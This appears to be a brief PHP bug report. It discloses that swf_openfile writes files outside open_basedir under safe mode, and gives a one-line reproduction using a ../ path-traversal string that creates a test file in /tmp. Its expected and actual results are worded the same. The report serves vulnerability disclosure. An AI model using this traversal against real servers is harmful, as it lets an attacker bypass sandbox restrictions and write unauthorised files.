The swf_openfile function can be used to create files outside of open_basedir when safe mode is enabled.

Reproduce code:
swf_openfile("/../../../../../../../../../../../../../../tmp/testswf.txt", 256, 256, 30, 1, 1, 1);

Expected result:
a file called testswf.txt will be created in /tmp

Actual result:
a file called testswf.txt will be created in /tmp
